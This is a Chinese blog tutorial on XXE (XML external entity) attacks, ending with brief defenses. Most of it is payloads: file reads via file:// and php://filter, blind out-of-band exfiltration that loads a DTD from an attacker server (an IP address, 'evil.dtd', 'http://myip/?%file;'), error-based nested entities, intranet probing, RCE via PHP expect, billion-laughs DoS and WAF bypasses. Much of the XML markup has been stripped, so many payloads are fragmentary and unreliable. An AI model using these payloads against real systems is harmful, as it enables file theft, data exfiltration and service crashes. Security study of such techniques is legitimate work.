首页 > 其他分享 >XXE漏洞

XXE漏洞

时间:2023-09-19 17:55:08浏览次数:31  
标签:XML 文件 实体 DTD 漏洞 文档 XXE

参考链接:XXE萌新进阶全攻略
未知攻焉知防——XXE漏洞攻防
歪?我想要一个XXE。
xxe笔记
Blind XXE 详解 + Google CTF 一道题目分析

一、基础知识
1、XML
XML即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:

HTML 被设计用来显示数据
XML 被设计用来传输和存储数据
XML文档结构包括:

XML声明
DTD文档类型定义(可选)
文档元素
先看一下典型的xml文档:

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >

]>

&xxe;
2、DTD概念及声明/引用方式
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD一般认为有两种引用或声明方式:

1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
DTD实体有以下几种声明方式

内部实体

]>
&a

参数实体

[
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;

]>
&b1

参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用
外部实体

[
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">

]>
&c

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

外部参数实体

[
<!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
%d;

]>
&d1

http://47.106.143.26/xml.dtd

二、XML外部实体注入(XML External Entity)
1、任意文件读取
最简单也是最常用的利用方式
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。

有回显
恶意引入外部实体
直接读靶机文件

]>
&rabbit;123
恶意引入外部参数实体

%file;

]>
&hhh;

无回显
OOB
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;

]>
evil.dtd的内容,内部的%号要进行实体编码成&#x25。

"

%all;
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

基于报错
以下内容皆出自JrXnm师傅博客
Blind XXE 详解 + Google CTF 一道题目分析

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

通过引入服务器文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;

]>
1234
xml.dtd

">

%start;
通过引入本地文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
	<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
	&#x25;eval;
	&#x25;send;
'> 
%remote;

]>
1234
我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send

嵌套参数实体
我发现,虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
%start;
%send;

]>
10
基于报错的三层嵌套参数实体XXE

<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
	<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
	&#x25;para2;
'>
%para;

]>
10

2、内网探测
和读文件差不多,只不过把URI改成内网机器地址

]>
&rabbit;666
3、RCE
XXE漏洞利用技巧:从XML到远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

]> John, Doe I love XML Computers 9.99 2018-10-01 &xxe; 响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
4、DOS
XXE萌新进阶全攻略

]>
&lol9;
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,

]>

&xxe;
如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

三、绕过姿势
参考cl4y师傅博客xxe笔记
绕过WAF保护的XXE

ENTITYSYSTEMfile等关键词被过滤
使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

若http被过滤,可以

data://协议绕过

">
%a;
%b;

]>
&hhh;
file://协议加文件上传

%a;

]>

php://filter协议加文件上传

%a;

]>

&hhh;

%a;

]>

&hhh;

PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
四、利用场景
svg

]>

&file;

tips:从当前文件夹读取文件可以使用/proc/self/cwd

excel
利用EXCEL进行XXE攻击
首先用excel创建一个空白的xlsx,然后解压

mkdir XXE && cd XXE
unzip ../XXE.xlsx
将[Content_Types].xml改成恶意xml,再压缩回去

zip -r ../poc.xlsx *
五、XXE防御
未知攻焉知防——XXE漏洞攻防

方案一、使用开发语言提供的禁用外部实体的方法
PHP:libxml_disable_entity_loader(true);
其他语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
方案二、过滤用户提交的XML数据
关键词:,,SYSTEM和PUBLIC。

标签:XML,文件,实体,DTD,漏洞,文档,XXE
From: https://www.cnblogs.com/yuh0/p/17715330.html

相关文章

  • Spring Framework RCE CVE-2022-22965 漏洞分析
    摘要本文会从几个角度分析漏洞CVE-2022-22965,首先会从payload的构造。每次我都喜欢先分析漏洞的payload,不得不承认实力没达到可以直接分析漏洞地步。所以会先看看payload的构造过程看看,每次学习和分析漏洞的payload能学到很多有趣的角度和想法。从payload的构造分析,分析payload的......
  • 【漏洞复现】Openfire身份认证绕过漏洞到RCE(CVE-2023-32315)
    1、简介Openfire是一个基于XMPP协议的即时通讯服务器,也称之为即时通讯平台。在即时通讯中往往因为需要保存一些状态或者数据所以不能采用点对点通讯,而是需要搭建服务器来转发。Openfire的管理页面包含5个菜单选项,分别是服务器基本信息配置选项、用户组管理选项、会话管理选项、分......
  • 【漏洞复现】紫光电子档案管理系统任意文件上传漏洞
    1、简介紫光电子档案管理系统是由紫光软件系统有限公司自主研发的通用档案管理系统,依照国家档案管理标准开发,结合先进的信息化管理理念,采用纯BS结构,使用流行的互联网云计算的技术框架,并且通过UE优化设计,符合用户的使用习惯,是一套具有先进性、安全性、前瞻性的综合档案管理平台。......
  • 【漏洞复现】JumpServer未授权访问漏洞(CVE-2023-42442)
    1、简介JumpServer是一款符合4A规范的开源堡垒机,帮助企业以更安全的方式管控和登录各种类型的资产,实现事前授权、事中监察、事后审计,满足等保合规要求。2、漏洞描述JumpServer在3.0.0-3.6.3版本存在未授权访问漏洞。由于系统权限配置存在不合理,导致未授权攻击者可以直接访问......
  • WEB漏洞-XXE&XML之利用检测绕过全解
    XML内容: <?xmlversion="1.0"?> <!DOCTYPEa[ <!ENTITY%dSYSTEM“file:///etc/passwd”>%d; ]> <c>%d;</c> XML内容 <?xmlversion=’1.0’?> <!DOCTYPEa[ <!ENTITY%dSYSTEM“http://abc.com/evil.dt......
  • 基于Linux+宝塔面板+LNMP+Wordpress搭建的网站主页的网站漏洞修补的解决方案 (1)
    基于Linux+宝塔面板+LNMP+Wordpress搭建的网站主页1.网站漏洞修补的解决方案@目录基于Linux+宝塔面板+LNMP+Wordpress搭建的网站主页前言为什么要做网站漏洞扫描降低资产所面临的风险满足法律合规要求满足业界安全最佳实践及认证需求其他参考信息等级保护网络安全法安全建议漏......
  • 业务逻辑漏洞_支付逻辑
    ❤️支付问题的思路❤️......
  • 变量覆盖漏洞
    来自:[BJDCTF2020]Marklovescat开始打开就是一个js/css页面,源码看不到东西,没有其他入口,像这种题,基本上是源码泄露。dirsearch一扫发现一堆/.git,应该就是git源码泄露,我们直接githack下载:(注,此处我开始下不下来,搜了下问题应该在于扫的太快了导致给我拒了,把里面一个self.thread_c......
  • .NET MVC 安全漏洞系列
    一、XSS漏洞定义XSS攻击全称跨站脚本攻击,它允许恶意web用户将代码(如:html代码)植入到页面上,当访问到该页面时,嵌入到页面的html代码会自动执行,从而达到恶意攻击的目的。二、解决方案1.新建立一个XSSHelper帮助类publicstaticclassXSSHelper{///<summa......
  • XXE漏洞
    来自:[NCTF2019]FakeXMLcookbook在moectf2023中也有一道题知识点是XXE漏洞,只不过那道更明显一点。XXE漏洞全称XMLExternalEntityInjection即XML外部实体注入。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、......